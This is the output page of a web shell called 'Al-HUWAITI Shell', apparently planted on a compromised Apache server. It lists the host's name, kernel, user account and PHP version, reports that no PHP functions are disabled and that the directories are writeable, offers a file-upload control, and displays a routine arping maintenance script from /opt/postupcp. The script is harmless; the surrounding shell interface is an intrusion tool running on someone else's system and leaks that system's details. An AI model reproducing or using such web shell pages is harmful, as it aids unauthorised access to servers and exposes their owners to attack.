Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux dedi-14684855.grupobig.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : grupo692 ( 1004)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /opt/postupcp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/postupcp/run_arping
#!/bin/bash
# Performs arping to gateway from all IP's

source /etc/profile

gateway="$(route -n|awk '$4 == "UG" {print$2}')"
log="/opt/postupcp/run_arping.log"
echo "----$(date)----" >> $log

do_arping() {
sleeptime=$(( ( $RANDOM % 300 ) + 1 ))
echo "Sleeping for $sleeptime seconds" >> $log
sleep $sleeptime
for ip in $(ip -f inet a | awk -F'[ /]' '/inet.*global/ {print $6}');do
    arping -c 1 -w 1 -s $ip $gateway >> $log
done
}

do_arping

Al-HUWAITI Shell